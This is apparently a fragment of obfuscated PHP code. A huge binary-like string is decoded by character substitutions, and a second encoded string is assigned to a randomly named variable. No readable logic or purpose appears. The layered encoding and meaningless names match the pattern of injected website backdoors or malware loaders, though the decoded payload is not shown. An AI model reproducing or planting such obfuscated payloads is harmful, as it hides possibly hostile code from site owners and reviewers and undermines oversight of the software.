^-001010-0-11*11011*0110^110-0^-11010^11*0011011*001*-10101010-001*0^11*1*1^10-011*^--1**0110-11011*00-10110-0^1^1010^11*010-^^11**00110^1^^^110^11*1*01101*1*0^1101****001011011**---^-10^10101*^-0110-*101*1010-*1*001010-*001*^10110^1*1**-0--11*-1*00-*0-^^-*0-1*00-001*001101*-101^110-11011*10^110110110-0^10-01010110^1^^110^1010110110101*-1011*101*1101*^101*-*01*011011**110^-110-^11010-*-0-0010--110-0^11*10101101*1^11*101^--*101*10-101**01101^10-10^--001^11010-11*10-0010-1^10-0^1101*101101*11*0^1010-1^110-010--*^1010---^1101^101*^11010-0-1*110110110101*0-*11*^101**^-*0-0-*11*00--01010101^10101*011*101^1*10^11010-0-*011011011011*00^-0101101101^-0^1*10^-010^1010-^1101010^^1*1010110^1^-01**0010-^-0011*0101*011*^^^101*11*-01*^1^1011*01^-^110110-0^1*10-101*0011010101*11*110^-1101*1101*101101^^1101*101*010-01**0010-*1**00-11011*00--^110^10-0-110^101010-1010^-*-0^1010^^-011*11*00110^10101*00-1010^1*001101*^-0-^^1*-0-011*01011010-01*010-00110101^1**-110110-*-^-1*1010-0101^10-011010^-110-11011*00-0-10-001011010-001^10-001^-001**110-010---0-00---^11010---1*01011*1^1010^-011*001*^1**-^11010-*1*01101*1*^101^1101*10--^1*101*0-001*10110-1^1*11010-0--00110-0-0-*1*0110-010^^1*1*1011010-00-1101*001^^110-^-0101010^1*1101010^1*-1010101*^-*0010110110^^1010--0-1*00-1**101^-11*101*10-*001010-010101*^10110^10110-10^-0101**010101**^10101*0^-*00^-*0101^11**101*101**0-01*-0^-101*10101010-01*-^10^1*01011*^101*1**10^1010--0110-^-10110-10^-1*0010-1010--^^10^11011*-0010-0^1010110110^^10101101011*10101011010-0010110101^-110^-0^110^110101010-^10--^1*00101^11*01*00-10^101*0011*1*1**00^1*010^110101^1*10^-010^1*110101010-^10-0-0^-10-0-*011*-0-01^1*0010^1*00^11*1010^11*101010^10-1**0^-^^1^-1011011*01011*0101^-011*010-10110-00^^10^-110^11*1010^1*0101010101*-**0110110^^1^10-01011*01010110^1^-0-*00-101101*-0^10^10-101011*10101011*0101010-1*11**011**0^1^^-0011*010-*101^-0^-10-101101*1^^10^110101*11*10^1011*10101011010-1**0-0-00^1^^-001*1*101*-*1*10110^1*1*-01*11*101^1010--10110-001^--0-1010110^-10-^1*01^11*1*10-*010101*-1011*11*00-11010101*00-001*11*00-11*011*001101^^1*110^^1101**1*-1010-0010-1*11011011*0-*101101*001*1^10101*00-*-01*-11*-01*^11*-00110^-11011*11*1101*1*10-*-010-00-00^11*0-1^-11*--0^-*1^-*101*0110^1^1101^1^-101101010^1101*1*01011*-0^10-1^^11011010-00-110-10-0^-0011010-*101*0110^1^110-00110-1011*--101*10-*1*-01010110-00^11010110-00-11*0-110^-0110^-*10^-0010101^1011*101101^^^10-01^10101*-01^10^-^10-1*1*101^-*10-1^110101*1***1*1*01*-^1*001*00110110110-*101*0110-*10^10-011*101010-1010-*0010101*1101^101**-0^1^1**00^--0011**101*0^1011*001^110-1*^1010-01**1*10-*01011*0-11*11*010-11*0-0^-11*-00^10-11010-10-101010110^^-00^-10110110-0^^110-0110^-11*001^-00-1*010-^10-1101*1*0--01**--11010-00-011011010^110--1010--01010^110^10^11*1010101*010110-0101*011010-0-0010-00-1*1010-00-*^10-00110^1*010110-10--*00-^-0101*-1101**0101*^-00-01*010101**-*01*010101^-*00101010-101*010101*110101*^101010-*1^110-*0^11011010110-010101*-001^^^10-01101*^-010101*0^11*001^101101*011*^-10-1*1^1^11*0^11010-0-11010101*101101^^^-1101101*-010110101*0--0^1^101101010-*^^101011*1^10-*00^11011*0-1101010-0-001^^1^-001101*11010-0101*011011*001^101*10-1*^---*1^1*11*0^1101*0--01010110-1*10-0110^1*10-01^110^10-01101*1*10^101*-0-1101^10^-0010-00110--00-0011010110110^1010110110110-11*10110110-01*^10-*1**10-101101*0^1101011*0010-0110--0-^11011010110101^10^-1^101010-01*00110110^1**10-00^1*101*1*1*10101*101^1*101*^1011*00-101^1*10^11010-11011*^--1*1^1011*0110-10101**-01*01101011*0-0010101010^^1011010110^-101*101010^110-01*11*^-011*01^1010-0^-1010^--1011*1010^-011*10101^11011*-10^11*00-0101101*110-1***00--1**0---*00110-^110^101010-101^101*--0010-010-00110110^^-00-10^^-0110^^^-0^^-10--0^-101011*0^-1^11*0^11*001^1^110---1010110--1*1*10--^11*1010101*110^-0011*1011*1101*001101*1^1*00-*10-*110101*-11*101010101*1*00110^1*1*01**1*1*1**10110-0^-110101011**-01^-11010-1*0-*0011*00-*10110-0101^1*^-10-101*^10-110-01010110-010110-0101011*010-01^1101*0-1*011*0-^--01^10^--1^-^----11010-1^1*01101^11*-0^1*-^-00-0-0-110-10-^101*-^-01*00-0101101101*^1101101*1*10-11*0110101^-01*1^1^-1^11*1^-010-001101^101*0011*1101*1101*010101*010-00-0101101101^-0101*-^-011*0-010-1*0-01^110101**00-01^1*^-0011*010101101^1*001*00101010110-0^1101^-010^10-*010-101*10-*-01*10^1^1101*101*^110110^110-00-*00--110-1*0-01^1^1*10101^-11*10-1*001^^101101^1*110-1^^^1*10-0110^1011*0-***00--**^^-1*0110-10-1*01*-01^10^1^1^10110^-*1*0-00^1010^101^^10-*101**0-00^101101*1*-^1^101*-1*10-1*-^^-10-101**10110-1^11010^10^^-001011*0^110^1^1011*0^1*00-01^1011*^1*1*-*01^-01011*01^10--*011010---*10110101*0^1^101010-00101*01*1010110^110101*00-*--^1011*1*001*101010101^^^1*101^-*101*1*00^11*00^-0010^1^1010101101*10-*00-*0-01*-10101^1*0-^^1**-10-11*^1****1*1*-10^-11*11**00-1*010^-01*0^-0101***0011*010^^101011*11*1101^^1*0-1*01*1*1011*0-11*0011**-^11*00-01**-10101**0-011*0101*00101011*11*0-^^1*010101^1*1*00101^-11*^-*0-^-1010-01**01010101**-0011*0101*^11011*11**1^^1*001101^1*1*00-*-11*0010101*-1*^10-101***-01**1*11*0010^-*011*11*0-*^1*001^^1*1*00101^-11*^1**-^-1*-01*01*010101**0101011*010^-*011*1^11**^1*01*0^1*1*-10^-11*11**00-^^1*-01*001*10101**00^11*0101*0010101*00^^^1**^-0101**1*0011*00110-10-0-010--110110101^110-0110101010-0^110110110-1*01*0-11011*--001^110-00^-1***^-0110101*^-1*101010-*10-10101010^1011010-*^10^110^1*010101101*01*011011*00101*-01**1^^-*-1^-^1010-*-0010101010^10^10-*1*1*110^1*010-101*01*^-1*0101*0011**011*10-*-1^-11*1**010-0101**001**1**00^1*1^110110^^11010101^10^10^10-001*011*011010-11*1101*00101*-01*^^^^10-*-01*11**00101^1*0-00101^1011011*101^10-1^1^11*110-*001*010110-1^^11*-0-0^^-*01*00-10-10-*-1011010^1*101011010-^101*101^1^1*101*001*1*00-1^^1^-^11****0011*0011*1*11*0101^1*-^1101**^^1*11*1010^11**^1*01^11010-1^1*110-1011*110-010-*^1010110101*010^1010101*1**010101*011*00-00101*0-11011*1^101*010^1*0010^11010^^1*010110^101101010-01*0^1^1^101101*0-0101^-*1^1010-*11011*-*^1010^10^-^1101010101010^101101010-01010-010-^1^1^^-*0-010-001^-0010---1011*^^1*010^1101011*011010-00110^1011011*0101010-0-1*01^1^-**-101011**0-0010110^-1011*10-11*010^--1*01101011010110^10110-^101010-011011*1^1^1^1*00-010^^^-00101*001011011*1^-1*10^1*0-^11010-10-^10110110^-010-0-*0-001^-1*^-010101^110-00101*101011011*-0-1*10^^-00^1101010-0-001011010--1010-0-01*1^1^11*10^-01010-1*-001010^11011011*-11011*10^101^-0011010110-00^1011010110-1010-0--0-001^1*110^-010-10-0-00101010^-011*1*011*010^10-^^1101010-110^10110^11*1010-01^1*1^1^-1010^-010110^110-0010-0101011011*-^11*10^---0011010110--0010110---010-01010^-001^-0110^-010-*110101*0-*0-01*01**00101*01*1*10110-001010-0-01^11*11*001^110--*01*^11*10-0^1101010-110-010-110101**1^-001*1*110110-*1^110-01^10110--101*^10--01*^--110^-0-^10^1011010-***^^1011*001^1101*1**0011010-001*-^1011*00--1101*1010-**1*-10101101*01011010-01**110-1101**^-10^11010101*10-11*01**1^1*1011*01^^--*1^1*-11*1^-0^101101*1101*010-10-1010-10110-10-1*0-00-*11*11010-1^1*00110110-*0110-11**0^1^1^10110-^-1*1010-00--11*-00-01101*00-0101101^11010101*-110--^101010101^1^10101*-1010-10^-0-00-0010-0-01011*0-0-*01*01010^-1^-101^-0-11*-010^1010-1*^10-0011*010-110^1101010101011010101101^10-1011*10^-11010^-10--01^101010-*-01*00110-1*1^101^11*0110-10^110101010-101010110110^-1011*^-0-010^1**-101^101*011*-0^-010-1*-1101^11*0-10110^11010101^^1010110^^-1011*101*-00^1010-*^^10-00101^^10-0^11*0010101^101^-0101**1**10101*0^1^^-*-0^-1011*0101101^-0-*00^11*10101*11010101*01010^11011*010101*001*0010101*10^10-00^^1*101010-001^11*10^^-^1*1*-**^-*101*1010^10^1*0110--0010-110-1011011**1010^-**11**11**1^1*101*001101^110101^101*-0010^10-00-1101101^1101**00^10-0^1*11011010-*10^^1^10-0-0-1101*00101*0110101^1^1101^10^11*00-1101101010^1**00-010110^1*1*-0-*101**^10-01*0101101*00110-0110101^11*101^10^-0--1101101*^1**0011*-0^1*1010-0-*10-00-0010-0^110-1101010-10^-010101101^-1010101101010-011*01*1*00101*-0^^110^10-01^101^11*001010-*1010101^11*0-01*-01*1011*-00^1^10-011**101*00101*-1^^110^-1^^101^^1*1010-0011010101^11*-001*-01**0010-001**00-011*00-**101*-*0^110^1101^^101^101*01010-0011010101^11*001011*-0^-*00-001*1*0-011*001011*00101*-*0^1101*101^^101^-1*1010-0011010101^11*0-01^-0^-10^-001*01010-011*0-1**101*1101^^1101*110^^1011*-*1010-001*1101^11*^101*-0^1011*0-001**00-011*0-1**101*0101^^1101*0-00^1011*-*1010-*11*01^11*-101*-01***0-00^101010-011*0^1**101*00-00^110^-1^^1011*011*1010-**0101^11*0^11*-0^10-^-001*01*-011*0-1**101*-*0^1101*101^^1011*-*1010-*1*101^11*1^11*-01**0010-00^101^-011*00^1*00101***0^110^-*0^1011*-0011010-**0101^11*010101*-0^10-*101*00^--01*00--00101**00-011*10110^1011*110-^1*0^-101*-11010-0^-01^10-1010110110^11010-10101*1^-0^1^--010-*101^--*110110^11*^----11010-10^^1^10-1101^110^11*-00101*-1**010-110-*0010--*00^10-110-0010101101*-11010-*00101*0^-00^101**11*--101011*1*1^11**0010110-0-001^11010^1*001101010^1*0010^10^1*1^^-110-**01101*1101101*00-01^-00^^-1**^--^1*10^--1011011*10110-11*1^-00-*-10-*010-01*11*11010101^-101^1101^--0101101^-0^10-0011***010-1*00-^-1*---0010^1*1011*001*^1*0101*00^10-^1*1*001011010^110110101^11*1**01**^110^1**101101^1**00^1101^11*1*10-0101*001*110^1**0101011**1^^1*11*11**00-*-001101011*101*0101011*--0101011*^-0101*1^1101101*^^10^101*1010^110-001011*-0-*-0-^---0-10-00-0^1*1101101011011*01**01**011**101^-1**10110-110^-00-1010110-1010^1011*10101010-*0^10--11*0-001*-*101^10^1101^110-010-01*10-^^^-*0-10110-^-11011*101011*11*0^1**-*0-010110-*101101010-1^11010---0011010110^-0011010101*-^101*010-010^10-*^^-010-0^1010110-1101*^11010110110-*1*10-1*0-01*10-00-10-1*01^10101**1010^10101101^^-0011*^1010110101^1*^1101*-0-*^110-1*0-0110110-00-^1011*1^1010101*11010^1*1^^^-0110110^10101^1011*00^1^^1010-*10110-11*0-0010110-00-^1011*1^10^11*11010^1*1^^^-011011010110110101101101011011010^-10110110^1*11011**^11*01011*1010^101*^-01011010-*01^1^101^-10-1101**0^-101*01010--01**00-10101*00^1101*00^-10110^-*01^-**00110^1^11*1010--101*0110-^1011*10-0011**0^1*0101**10^1*00^-10110^-001010^11****-^11*0010--101*010-1^101^10^^11**110-^101*00^^1*00^101*00^-*11*-**0-00-^11*011*0-101*0110101^1011*010101011**1*10^101**1*11*001*-0110^-**00-**0^1*1^11*-1^-101**0-1*10^-*11*101*-0-*101**--1*11*01011*0--0010-00-11011*001^101^1^11010^11*^^^-1101010^1010-*010101101101101011010110110-10101101101101^110110-0-1101***001101101^^^11*10-11*-010-*10-110-0-11010-1*010-010-1*^-010-0010^10--1*0-010-0-101010101010-1010^-*-01101*^^-1^101*010-001**010--11**0--011*0--101*^10-011*1010101010-0101*-*-101^10^^11*^11*01011010110101*00-01*001*00--1^1*00-*11*^-10-*^--1^^--0-0011**10-10-^1*0-1^--0^1^1011*^101^^-01010-011*010^-110^10^--10-00--011***0010-01010^1*0-1^--0^110-1^11*01^-10-*0-**-*0--*^1*10-*10101^101011*-^1101*10^--001010101011*101**10-101*01*1*0101*00110-00-0-011*01*101*1*101^10-00--001^1*1*--01**1011*101101^10-10101010^1*010^^110-00-0--*01*1*010^101^^-0--001^^1*0--*11*1011*101101^10-10^1011011*010101101^-00-0110-*01*1***101^^10110--011*00^-11011*0-0-1101^1*1010--*10101101^1101*-1*1011*0010-10^10^-1*-1101010-01010-0110-0--01*^1^11*^1*-0--00---10101010---01010101*-110101*1^110-1*10---*001*1*--00^11010-00^-11010^101*0-1^101*001*-10-^-*1^101^-1*00-1*001010-11*00101^10--**0010-00^10101010^101*01101^101*0011*-0-^-0-^1011*1**0-1*11*0-11**01^10--0011011010-001*0-010^101**-00101*001*-10-1*0010-01101*0^10^1101*1010-001101*01*11010--0011011*^-*^1^-011010^1^1*-1011011010^-010-1^10-110-^-101101011*-010-*110110--10-01*^-011*1^-011**1^1*-1011011010^---11010--*0-010-11*0-1010-^110-01*-01*01*110-*-10-^-*1011*--0--1*-1*01^110110-*0-01*01101*1^10--*10^1*--0101*110-*11010-^-1011011*-1^1010-*-110110^1101101^^-01*011010101^10-1101*1^1*-*0-*110--001101^1011*101101^101^1010101^1011011*1011*-1^--0--10^-010-^10-10110101^1101101*0-**1*010--*01010^1101101011010^-0--010^-10-110-001010101*-*10110^-01101101^11*010-00-010^1^1010-10^10101011010101010110^-*1^-^11**-001010101*-*1**0-0110110101011*010-001^10^1^101*110^1010101*0101010110101011*1^-10-11*0-001010101*10^1101^110110^1^-*110^110-1^-01*^1*1^-101**-0101101^1*0-1^11010-1011*0--0^-1101010^10-0^10-1010-0^-00-0-0^11010-00^110^10-01101010-10--00^11*00-101*-1*-01*0-00-101^1011*01101*^-01101*01^110-0010^1101*010101101010^--010-011*0011010-011*0-010-0-010-00110101^1011010^10^^10-11*-*1^110^10-00110-010-001011011011011*1011*-011*110-01^10^-*1101011010101010^10-1*0-11*101*0^110^1011*110-010-0010110110110^10^1*-0101*10-1*01101*-11*0-*--*0^110-0101^-1*01*0110^1^10^101011*10-*^1101^11*-01011*11*-0101010-*-010-0-0-011011*00--0101010---0101^10--10^^10---^-1011*-10-*10^1011011*0010^-1*11*0110-0-0-0-001^1011010-00-110^10-00110^^-01*01^10-^1*110110-0-*-0-10-11*1^^^1**11******1101*1*-001101*^10110-01*^11010-*^10-*11*0-*1^11*10110101*1101^11010--101*^10-^^-*-010^11010110^-0011010^10-^11010-10-0^1**110-*1^11*1^11**10^10-1*0-1*110^1*-101*-1*-001^1**10^1^-*0101*10^1*001^-*11*00-^11*001*0010-1*0-1*110^1*010101*-^-0101^1*00101^1^-*11*0110^1*0-0-1*11*1^11010110^1*10-01101**0-101101*^-1^-*01*^-*00-0010-*001101*1101101**001*101^1010101^11*0^^1^101*011*1101011*01010-^-0010-1^-*0-*00-**00-01101101**001*101^1^101^11*0-0101^101***1101011**--00-**01^-*01*1010-*001011*1101101*^1*001011*1010-0011**0^1^101*011*1101011*010--00-**01^-*011*010-*001011*1101101**001010^^1^10-0^^10110-10^^1*-110-0-1**01010-*01^11*-10-0-00^-11***10-1*001*10-^1^1*0-11*^10--10-010110-01^1101*1010-0-0^11*-*0-1^^-***0010-101^11*0011011*011*0011010101011*00-1^10-1*0101^^1011010-01101^1011010-101*11*-1^1*10^-0^^101^-110110^-0-^-0-*110110--*010-*01011010^-01^1011011*101010^1010110101010^10110-11010^1010110-010110^10^11*^^110-010-*01^-0-01*110---0^---11011*010-1^-*01^1101011*-11010101101*10^1*^1*01101010-*01*0110-01*00^--10^10---011*--1011**0-011011*00101^11011*0011*011*0-11010^101011011*^1011*011011*-10-11011*010^10-*0-0^10-10-110^10---11*00-001*1^110110101^-1010110-001^10-1^10^11*0-11011*10^-0^-*00--00^^--10101011*00-0-101^110-00-01*10-0-*1*10-^1^1*10-1^^110^10-0010^^^^1101101101^^1011011*110-11011*01010101^-*0^110110-*1*^^-011*0^-0-0^1011*10^^^10^-0^-0^1010-00-0101*0-00-01*^11011*010-1*-1^-01*-^101010-0--101^101011*1101*0^10^^^-*10^10-10-*11010-011011011*0110110^-1^-^10-^101010-0--10^1101011*1101*1*10^^^-*10^10110^1*011010^1*11011*010^1*-1^1*-0-^10-11010--10--1011*1101^1^10^^-01*010^1010^11*01101010110-1011*011*0^-1^-11010-^101^-0--101101*011*110-10^10^^^-*10^1010-01*011010-0-11011*0101010^-1^-01010-^10-*10--10-1011011*11010^10110^^1^1*010^10-0-*01101011*-1011*011*1^-1^10-11010-*10101^10-*-0^110-*11**-^^1011*0^101*1011*0101**01^110-^1*110^101^101101^-1*0011010-1*0010110110--0011010^-00^1*1^^10^^1*00101*00-10-0-^-*0^1011*110-00-1*1101010-1*00^10^--*1*^-00^^10^^101*001*001101*00-*01101*00101*01101*011**0-00101011*1010^-*0--1101010-^1^101*0^10-^1*00101011*010-0101*1*-00^-0101010^1*00-00101010^1010^10^--101101**0-10110-00^-101101^1^110--10^^1^-101*1**1011*0^-^-*101010-0-110-1*1*-10-0110-01^101^10^-10^^10--*01^1^-1101011**10-001^-^-0-11010-0-^-1*1*-101010110-011*10^10^-0^11*01^-0101*001^-0-*001^-011***0-0^-11*-1^1*001010110^1^10-011**0-10-1^101*-0-0-0101011010-0^1010-00-0-101**-011*-*-00-*00101011010-0010-011011*0-10--0101*-0-110-010110101101*1010-00-1*011**-1*-11*-00-*0010101101^^10-01^---0--^1*-0-0^1011011010-1*1010-0011*10101**110^^-*-01101*001010-10-0010-011**0-10-1010101*-0-0^10110110101101*1010-0011011*11**-1*-11*--01*001010-00^1010-0-11*0---010^---1^1^---10-011*1*-*0101**10^110-01010-1101^^110110110-0101*101^-0^^110110-00-00^1^--110101011**1*-1010101**1^1010-01010^^1^^110110110-0101*^110-0^^^10-^-00-0^--110-00101*01*11010-01**-10110-0101010^-011*10^1010-1*1011*10-1*10101*011*0-^1*-^10-01^1*^-^1*010110-0011010-1*-11010^-101^-01101^-0-10--00-0^--^-110--1^11*0-1101*001*0-00-*-0101*^1**101*-1*-1*0^11*10-001*1*0^101101^^10110--10^^1*0101**1*01^-*^^1*^^1*101*-^-110^^1^11*1101*1*001^1101^^-*--0^1011*0101**11*1^-*010^1*^^1101101*-^-110^^1^110^101*1*01*-01^^101^--01*101*0101*00-1101^-*^1101*^^110^1*-^-110^^1^^101101*1*^-1101^1*10^--0^11**101**00110-011*01*01101011**101^1011*01010-0^1*010110-1*11**10-0010^1*110-^^10-011*11*0-0011*11*^11011*11*10-01^1010101^110-10-010-***^1**^^10110^-1*1101^1*010-^10-0101*0101*^1010110^101^^1010^1^10-10-*001^11010110-0010-010110--0-0101101010110-1*001^^1*011***1^-00110-001^1*0-010-011*1**011011*00101*11011**01*11011*1^1^11*1*11*00110-*-0^10101^1^1*01101*-011011*01*10-01*10^^-^1**1101010-011*101011*101*01^1*0101*00101*00101*011**001^1^10-0110-11*001^^-101*101*11011*001101*00-110^1^-11*10-1*0-0-0--10-*^1^1^110^-*001011*-11*010110--1*010-110-1^--*1**0--*-01011011*^1011*0110101*10^10110^11010^1011*-010^101^-10110^-1010110^110-001*^11*11*1*--011*01*-00-0-01*-00-0101*0-00-0-*0-0011*11*010101^1**0^-01*01*0-1^101*0-110101^^1*1011*0101011*01^-0110110^10-011010^1010101101*101011*1*0011*0^-1^11*010110-0011*0^^11**01^-01^-01^110-0101^1011*001010-^1^-1*10^11*101*1010^^101*1010101^1010^^-*1010-^-^101^11**-*001*11*--001*-10110-01*11**011**00-*11**-11*11*0010-1*--010110^^--0010101*10-001101101^-00110--10-*01^101*-0110-00-0-1^11*^-*0-*--01*1^^-1**101*10110^101101^-11010-101^11011*10101^-1*010101^--001*1*--*0-00--00101*01011**01^1101101011010110-110-0^110-1101*^110-1101^1*110^10^-00-0101101*^110110-01101*0-0-^1101101^10^-^11010101010-10^10--*-1*1011010110110^11*00^-01010-1*0110110-101**-01^101101101^-^10^11010^1*-0^10101101010-1*^1*010110^^101*0-010^-0^110110^1^1*0-0101*^1101^11011010^1101011*0-10^10-01*0-1*1101*0-1*01*10110-*0-10-0-*0-110110-1010-*01^11*1*01010110-011*00^^110^101101*1^^^1101**-^-^-011**11*0101^110--01011*0-0011*1^-1*00^101*-*0^10-0-*0^^^-*-*-001*001^110-01*01^--01*011*-1101^10-110101011*10-0110101^^-00-0-1*1^11*1*-11*0^1*-11*0^1*-1^10^^11**^10^101*11*-01011*00-0-00-0010101*10^1**10-0^^-010-0^^1^1011*0-0101010-00-^1101^1^101010110-010^10--^^-0010101^1010110110-1*^110^^10-*10110^11*0-0^^-10110^1*01011011010^^101101101**0101011*1101*0-^101101**-11011**1011*011011*-11010-00110-1101010110110-1101010^1101010110--1101*0-101*010^10-01*0-*10-11*-00^-0-0-11*-00-1^^-*-001^101101*0^10110110110^1*0--**^10-^110-*10110-00-00^1^1^-11*--0-00^-1*-01^10-^10^10110--*1*0-1011*10^10-1101*11*1011*110-00^-*00-11*110-0-00^-001101101^10-^10^101101^10^1*0--**^10-11*0-*1011010^-00^11011010-11*-00-1^^-0010-01^10-^10^10110-0011011*0-1010^10^10-101*-*10-01^-00^-11010-11*--0-00^-1010-01^10-11010^10110-011*1*0-1010^10^10-001*-*10-01*-00^110110^1*-11*00-*--0110101*-11*00-*******************************************************************************************************************00-01***001**01101*11*1011*******01**********11****001***0^1*^-**00-*00-1**010101**00101****001***********^1**************001*0^1101**001*******************************************1*01*******001************************************1**1*1********001********01***001***********011******0011*110-1011*11011010^1^^-00-01**001*******001************************************1**-1*********001*******001***11********0011**0-01********011*1^^-01^-00^-00-01**011*******01**************************************01********01*0010-**********01*******1*0^-*01*11********0010-*0-1010^11*10-00-01*******************************^1*******01*001*******************************001********01********************************************************************************************************************************************11*****1***001***************************************************11**0-01****1***11***********-0101****1*0^1101*1*1*******************************1******************01*******001*************1*******001******0101*01**1***01******************01********01***101**********************1*********************1*******01***********001********1*********01***001*********001*******1*0^110^-^1**************01*001*01******001*0010-*******1*01**01101*01**00-*****00-*********************01^-1^10-^^101010^1**0011**1***1^1*****00101*1*00101*******************00^1*101*01011*01011*00-0^10^11*^110-101101011011**^1^1010-^1*1*1**1*-0110^1011**1*-01101010-00^-**^10^1^1*11**1*010-0-101^-01^-01101*011011*11**^101101101*01^^-0-00110-101^^-*00-**^1^-0^1011*01011*1010101*0^101^1^1^101***0-011*0^101^-001**101101***-*0010-0--*0-***********001***********************************************************************************************01********************-01*****0-----1********001*********0011******^101011010101^10".replace('*','000').replace('-','111').replace('^','100') $niglakhamanMna = '010>1101>10101110<1011010>01010111<1>10101>0110111010101110>0110>101101111011011>10<0110111101101>0110>101>0110111>>!0101101010>1101>01101101111011<01>10>!<1101110101011>>11>>1>101011011>1110>01010101011>1101>101011>>0!<>111>1011<01<1011>11011>1>!01011010>01>1101111011>>1>01101>10<10>1>1>1110101011011>1>01101110>0110>101101111011011>0!11010110110>1011011010110101101<1011>>1>>01>101011011>010<0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>10>>!111101<10>0!0!0!0!0!0!0!0>>011<01<101>>01>>01>10101>>0<>110>1011011>1<1011>>111>10>0>01<101110>01<>!011110>!0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>1011>10<01<101>>010>>110>101>1110110<1110<10<010<0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>1011>>1>01>101011011>1>11101110>0110<0!010101>!011011>10>>!010110>!010<0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>1011>>1>01>101011011>1>11101110>0110<0!0>10>!011<010>>10111>1!>11>10><10>0!0!0!0!0>>01>>01>10101>0110110111101>>01>10101>>0>0>01<101110>01<>!011110>!0>>011<01<101>>01>>01>10101>>0<>110>1011011>1<1011>>111>10>0>01<101110>01<>!0101101011>11011<01101>0110>10111011>10<011111>111<11110101011>0>011>1011>111101>11<111110>10>>>11>!111101>1101111011>>>010101<101>0110110<01011010>111101>0>11010>1>10101>011011100!0!0!0!0!0!0!0!101101101>0>111>101110>01>1010101110>10<10110110<1101101111011011>10101>>0101011>>1110>0101110>1110>01110>1010>011011110>>10>11>1010<1>1>1>>010<0>>0101111>101>010>>!010110101>0>1<1011011>1>>011010>11010>10><10>0!0!0!0!111110<10<010>0!0!0!0!11>>1>10101110>01110101011>>11011>0!0>>01>>01>10101>0110110111101>>01>10101>>0>0>01<101110>01<<10>111110<10<010<010>0>>011011010111010101110>0110<1<101101!0101101011010>11011110110>1011011>0!0>>011011010111010101110>0110<1<101101>0101101>10110>1>0>1011>01011>010110>10<0>>011011010111010101110>0110<1<101101<1011>>1>01>101011011>1>11101110>0110<010>10101110<10<010>0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>1>0>!011110>!0>0>01!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1>0><>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1>0>1010>01010>01010>01010>01010>01!1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>010>111>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1>0>1!1!10110>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>10110>10110>1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>01010111>01!1!1>0>1!1>0>1!1!1>0>1>0>101101010111>01!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110>10110>1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!10110>10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1!<>1!1!<>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1>0>10110>1!1>0>1!1>0>1!<>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>01010111>010110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>10110>1!10110>10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>10110>10110>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!101101010111>10111>01>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!10110>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>10110>10110>1!1!1!1!1>0>10110>1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>10110>1!1!1!10110>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1>0>1!1!1!<>1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>